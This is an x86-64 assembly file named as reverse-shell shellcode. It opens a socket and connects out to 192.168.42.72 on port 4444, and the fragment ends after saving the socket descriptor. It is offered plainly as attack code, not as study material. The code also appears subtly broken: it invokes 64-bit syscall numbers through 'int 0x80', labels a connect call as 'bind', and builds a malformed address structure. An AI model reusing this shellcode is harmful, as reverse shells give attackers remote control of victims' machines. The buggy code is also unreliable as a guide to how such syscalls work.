ShellcodeReversePort.asm

; socket syscall
xor rax, rax                ; null out rax
mov rsi, rax                ; null out rsi
push byte 0x2               ; arguement AF_INET
pop rdi                     ; rdi = 0x2
inc rsi                     ; rsi -> SOCK_STREAM
push byte 0X29              ; syscall number
pop rax
int 0X80                    ; run syscall socket

xchg rax, rdi               ; get the socket discriptor

; bind syscall
push 0x2                    ; AF_INET
push dword 0x482AA8C0
;address 192.168.42.72
mov word [rsp + 2], 0x5c11  ; port 4444 in network byte order
push rsp
pop rsi                     ; put the arguments into rsi

push rdx                    ; insert null onto stack.
push byte 0x10
pop rdx                     ; size 16 sockaddr
push byte 0x2a
pop rax                     ; syscall connect 42
int 0x80

mov r9, rax                 ; store client socket fd